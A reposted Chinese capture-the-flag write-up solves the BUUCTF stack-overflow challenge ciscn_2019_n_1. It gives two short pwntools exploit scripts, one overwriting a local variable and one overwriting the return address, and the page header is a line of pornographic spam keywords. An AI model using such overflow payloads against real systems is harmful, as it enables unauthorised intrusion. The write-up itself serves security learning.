日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

[BUUCTF-pwn]——ciscn_2019_n_1

發布時間:2024/4/17 编程问答 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 [BUUCTF-pwn]——ciscn_2019_n_1 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

[BUUCTF-pwn]——ciscn_2019_n_1

  • [BUUCTF-pwn]——ciscn_2019_n_1
    • 思路一 —— 覆蓋局部變量
    • 思路二 —— 覆蓋返回地址

  • 題目地址:https://buuoj.cn/challenges#ciscn_2019_n_1
  • 題目:
    老規矩下載下來后,在Linux上checksec一下,64位,并且沒有開啟棧保護,意味著我們可以利用棧溢出

    在IDA中看一下,main函數里面沒有什么可以利用的

    雙擊func函數看看,就是我們想要的。

思路一 —— 覆蓋局部變量

我們只需要讓v2的值等于11.28125即可。而v2又沒有辦法直接輸入,但是v1是利用gets這個典型的棧溢出函數輸入的。v2和v1之間的距離為0x30 - 0x4。下面我們只需要計算一下11.28125的16進制儲存方式就好。

11.28125 轉換為二進制為 1011.01001 11.28125 在計算機內部儲存為 0100 0001 0011 0100 1000 0000 0000 000011.28125 ==> 0x41348000

也可以用代碼計算

#include <stdio.h> int main() {float a = 11.28125;unsigned char *p = (unsigned char*)&a;printf("0X%02x%02x%02x%02x",(int)p[3],(int)p[2],(int)p[1],(int)p[0]);return 0; }

這個思路的exploit就是

from pwn import * p = remote("node3.buuoj.cn",xxxx) ans = 0x41348000 payload = 'a'*(0x30 - 0x4) + p64(ans) p.sendline(payload) p.interactive()

思路二 —— 覆蓋返回地址

找到func函數,在里面找到system函數的位置,覆蓋返回地址。找到system函數壓參數的位置0x4006BE,v1距離ebp 0x30,ebp8個字節。
所以該思路的expolit可以這樣寫

from pwn import * p = remote("node3.buuoj.cn",xxxx) ret_arr = 0x4006BE payload = 'a'*(0x30 + 0x8) + p64(ret_arr) p.sendline(payload) p.interactive()

總體來說,兩個思路都很簡單,不過第一個需要算那個十六進制有點麻煩,還百度查看了一下,浮點數的儲存。

有幫助就點個贊呀 😃

總結

以上是生活随笔為你收集整理的[BUUCTF-pwn]——ciscn_2019_n_1的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。